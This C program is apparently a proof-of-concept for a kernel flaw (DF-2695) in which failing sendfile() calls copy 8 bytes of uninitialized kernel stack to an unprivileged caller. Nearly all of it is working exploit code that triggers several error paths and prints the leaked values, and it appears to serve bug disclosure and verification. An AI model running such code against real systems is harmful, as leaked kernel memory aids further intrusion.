/*
 * DF-2695 PoC: sys_sendfile() discloses uninitialized kernel stack
 * =================================================================
 *
 * sys/kern/uipc_syscalls.c:
 *   :1594  `off_t sbytes;`  -- never initialized
 *   :1645  kern_sendfile(..., &sbytes, ...) sets *sbytes = 0 only at
 *          :1734, AFTER the early error gotos (done0) at :1699-1732
 *          (not VREG / no v_object / holdsock failure / not SOCK_STREAM /
 *          not connected / offset < 0 / no SSB_PREALLOC)
 *   :1677-1680  on *every* exit path -- including error -- the syscall
 *          does `sbytes += hdtr_size; copyout(&sbytes, uap->sbytes, 8);`
 *
 * => unprivileged user gets 8 bytes of uninitialized kernel stack copied
 *    to userspace on every failing sendfile(2) call with a non-NULL
 *    sbytes pointer.
 *
 * This program triggers several distinct early-error paths and prints
 * the leaked values.  Non-zero, varying, kernel-pointer-looking values
 * = uninitialized stack memory.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

static void
try(const char *what, int fd, int s, off_t off)
{
	off_t sbytes = 0;
	int r, e;

	r = sendfile(fd, s, off, 0, NULL, &sbytes, 0);
	e = errno;
	printf("%-28s ret=%-3d errno=%-3d (%s) leaked sbytes=0x%016llx "
	    "(%lld)\n", what, r, e, strerror(e),
	    (unsigned long long)sbytes, (long long)sbytes);
}

int
main(void)
{
	int fd, udp, tcp, nolisten;
	struct sockaddr_in a;

	fd = open("/etc/passwd", O_RDONLY);
	if (fd < 0) {
		perror("open");
		return 1;
	}
	udp = socket(AF_INET, SOCK_DGRAM, 0);	/* not SOCK_STREAM   */
	tcp = socket(AF_INET, SOCK_STREAM, 0);	/* not connected     */
	nolisten = -1;				/* holdsock fails    */

	printf("== DF-2695: sendfile() uninitialized kernel stack leak ==\n");
	try("bad socket fd (-1)",       fd, nolisten, 0);
	try("udp socket (EINVAL)",      fd, udp,      0);
	try("tcp unconnected (ENOTCONN)", fd, tcp,   0);
	try("negative offset (EINVAL)", fd, tcp,     -1);
	try("udp + negative off",       fd, udp,     -1);

	/* repeat the cheapest path to sample stack residue variety */
	printf("-- 10 samples of the holdsock-error path --\n");
	for (int i = 0; i < 10; i++)
		try("sample", fd, nolisten, 0);

	return 0;
}
